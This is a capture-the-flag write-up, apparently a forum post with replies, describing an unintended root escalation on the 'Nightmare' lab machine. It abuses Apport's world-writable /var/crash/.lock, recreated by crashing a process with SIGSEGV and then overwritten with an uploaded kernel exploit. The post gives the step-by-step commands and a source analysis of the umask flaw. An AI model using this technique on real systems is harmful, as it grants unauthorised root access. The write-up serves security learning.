Nightmare unintended root write-up by 0xEA31

Becoming root, “unintended” way without “touching” decoder

Lession learned

  • pgrep is the new ps
  • how to kill a process and (hopefully) create a coredump

[research mode on]

To be honest I found this “unintended” way of exploting the machine after I did it following the steps above.

I was reviewing my notes, looking for errors that I did and gotchas where I lost a lot of time, thinking how to do things faster and safer in the future.
After getting ftpuser’s password, the first thing that I realized was that I could not write anywhere. To be more precise: any file/dir that I could see was readonly.

So I wondered: “after owning a shell as ftpuser, can we confirm that we cannot write (and execute) anywhere?” So I issued:

find / -type f -perm 777 -exec ls -ldb {} \; 2>&1 | grep -v denied

and the output was

[some trashy errors]
-rwxrwxrwx 1 root root 0 Mar 28 22:00 /var/crash/.lock

I was surprised and a little bit confused when I found this file. It was so strange to me that it took more than five minutes (no jokes!) to realize: “Wait. If I can write and execute, I can own the box without that f…antastic sls!”.

But… does it really means that I can write to it? Let’s check it:

$ cd /var/crash
$ ls -la
$ cat .lock

$ echo test > .lock
$ cat .lock
test

Yes it does. And yes, I had found a way to get root without “touching” decoder! We can just open filezilla (script kiddie way) and drag’n’dorp a .lock file (ok, after a cp mypoc .lock issued locally, see part 1 for details about mypoc).

./.lock
bash: cannot set terminal process group (1389): Inappropriate ioctl for device
bash: no job control in this shell

root@nightmare:/var/crash# id
id
uid=0(root) gid=0(root) groups=0(root)

What the ■■■■ is /var/crash/.lock?

But… what the ■■■■ is /var/crash/.lock and, more important, is this file already present at boot? No it isn’t (obviously, a reset was issued, to check this). So why I found it?

And, again, far more important: how can I get my lovely worldwide read/writable/executable, root-owned .lock file back?

Since it is located in /var/crash/ we can try to crash a process and see if we got it:

$ sleep 60 &
$ pgrep -u ftpuser -l # pgrep is not resticted
1320 sftp-server
1321 sh
1322 sh
1323 bash
1389 sftp-server
1398 sh
1399 python
1400 sh
1590 sleep

$ kill -11 1590 # -11 is for SIGSEGV, create a coredump

$ ls -la  
total 36
drwxrwxrwt+  2 root    root     4096 Mar 29 19:57 .
drwxr-xr-x  14 root    root     4096 Sep 30 16:40 ..
-rwxrwxrwx   1 root    root        0 Mar 29 19:57 .lock
-rw-r-----   1 ftpuser ftpuser 26914 Mar 29 19:57 _bin_sleep.1002.crash

Ok, it’s back, we can confirm that the box is rootable without “touching” decoder. Now we can bother with why/where/when and other useless things…

First of all checking ulimit -c returns 0, so, the system should not generate any coredump. After some googling, turns out that /var/crash/.lock is related with Apport, that is a tool to manage coredumps.

So I downloaded Apport, and tried to understand why/where/when .lock is created and why it has 777 permissions.
The issue seems to be in apport/data (I used grep -Rl "\.lock" to find this file)

def check_lock():
    '''Abort if another instance of apport is already running.

    This avoids bringing down the system to its knees if there is a series of
    crashes.'''

    # create a lock file
    lockfile = os.path.join(apport.fileutils.report_dir, '.lock')
    try:
        fd = os.open(lockfile, os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW)
    except OSError as e:
        error_log('cannot create lock file (uid %i): %s' % (os.getuid(), str(e)))
        sys.exit(1)

    try:
        fcntl.lockf(fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
    except IOError:
        error_log('another apport instance is already running, aborting')
        sys.exit(1)

Have you seen the problem? if yes, you are better than me. Because we have to understand what’s going on with this line of code: :

fd = os.open(lockfile, os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW)

This is the declared behavior of os.open in python 2.7 (Apport is done in python!)
https://docs.python.org/2/library/os.html

os.open(file, flags[, mode])

Open the file file and set various flags according to flags and possibly its mode according to mode. The default mode is 0777 (octal), and the current umask value is first masked out. Return the file descriptor for the newly opened file.

Does it means that the umask (022 on Nightmare) is zeroed? No. For sure Python documentation is not so clear, but since I tried really harder(C)(R)™ :smile:, I found that os.open is defined in Module/posixmodule.c

PyDoc_STRVAR(posix_open__doc__,
"open(filename, flag [, mode=0777]) -> fd\n\n\
Open a file (for low level IO).");

static PyObject *
posix_open(PyObject *self, PyObject *args)
{
    char *file = NULL;
    int flag;
    int mode = 0777;
    int fd;

#ifdef MS_WINDOWS
    Py_UNICODE *wpath;
    if (PyArg_ParseTuple(args, "ui|i:mkdir", &wpath, &flag, &mode)) {
        Py_BEGIN_ALLOW_THREADS
        fd = _wopen(wpath, flag, mode);
        Py_END_ALLOW_THREADS
        if (fd < 0)
            return posix_error();
        return PyInt_FromLong((long)fd);
    }
    /* Drop the argument parsing error as narrow strings
       are also valid. */
    PyErr_Clear();
#endif

    if (!PyArg_ParseTuple(args, "eti|i",
                          Py_FileSystemDefaultEncoding, &file,
                          &flag, &mode))
        return NULL;

    Py_BEGIN_ALLOW_THREADS
    fd = open(file, flag, mode);
    Py_END_ALLOW_THREADS
    if (fd < 0)
        return posix_error_with_allocated_filename(file);
    PyMem_Free(file);
    return PyInt_FromLong((long)fd);
}

As you can see this function sets mode as 0777, and calls open(file, flag, mode) (for linux and friends) where the effective mode is modified by the process’s umask in the usual way (link).

So… what is the default mask of the Apport deamon on Nightmare?

grep umask /etc/init.d/*

/etc/init.d/mysql:      umask 077
/etc/init.d/rc:         umask 022
/etc/init.d/resolvconf:	umask 022
/etc/init.d/ssh:        umask 022
/etc/init.d/umountfs:   umask 022
/etc/init.d/urandom:    umask 077
/etc/init.d/urandom:    umask 022
/etc/init.d/urandom:    umask 077

ls -la /etc/init.d/apport
-rwxr-xr-x 1 root root 2799 Mar 31  2016 /etc/init.d/apport

That is to say, the config file exists and does not change the umask. So umask is 0 and

 # create a lock file
    lockfile = os.path.join(apport.fileutils.report_dir, '.lock')
    try:
        fd = os.open(lockfile, os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW)
    [...]

creates our lovely worldwide read/writable/executable, root-owned .lock file.

[research mode off]

TL;DR

We can own root directly from a ftpuser shell:

$ cd /var/crash
# Check if .lock is already there.
$ ls -la
total 8
drwxrwxrwt+  2 root root 4096 Nov 30 06:25 .
drwxr-xr-x  14 root root 4096 Sep 30 16:40 ..

# There isn't. Let's create it

$ sleep 60 &
$ pgrep -u ftpuser -l # pgrep is not resticted
1320 sftp-server
1321 sh
1322 sh
1323 bash
1389 sftp-server
1398 sh
1399 python
1400 sh
1590 sleep

$ kill -11 1590   # -11 is for SIGSEGV, create a coredump

$ ls -la  
total 36
drwxrwxrwt+  2 root    root     4096 Mar 29 19:57 .
drwxr-xr-x  14 root    root     4096 Sep 30 16:40 ..
-rwxrwxrwx   1 root    root        0 Mar 29 19:57 .lock
-rw-r-----   1 ftpuser ftpuser 26914 Mar 29 19:57 _bin_sleep.1002.crash

#upload the kernel exploit renamed as .lock (i.e. with filezilla)

$ ls -la
total 64
drwxrwxrwt+  2 root    root     4096 Mar 29 19:57 .
drwxr-xr-x  14 root    root     4096 Sep 30 16:40 ..
-rwxrwxrwx   1 root    root    28032 Mar 29 19:58 .lock
-rw-r-----   1 ftpuser ftpuser 26914 Mar 29 19:57 _bin_sleep.1002.crash

$ ./.lock
bash: cannot set terminal process group (1389): Inappropriate ioctl for device
bash: no job control in this shell

root@nightmare:/var/crash# id
id
uid=0(root) gid=0(root) groups=0(root)

Bonuses

pgrep is restricted too? no problem: we can still cat our processes’ /proc/*/status and get our child(s) PID:

cat /proc/*/status 2>&1 | grep -v denied | grep $$ -B 6 | grep PPid -B 6 | head -16
# $$ is the current shell PID

or (more simple)

sleep 60 &
echo $!

Need to know the default umask of all the current user readable processes?

cat /proc/*/status | grep Umask -B 1

That was a genius way of manipulating the data to pwn the box. Good job escalating with this unique way.

Found this unintended way as well but didn’t look into it in detail so it was good to find out where this file came from :smiley:

As a bonus, running screen also creates a user writable folder under /run/screen although /run is mounted as nosuid and noexec so you couldn’t use it to run the exploit.

Thanks for this write-up @0xEA31 . Never had any idea about this one. Learned a lot from it :+1:

Great trick :slight_smile: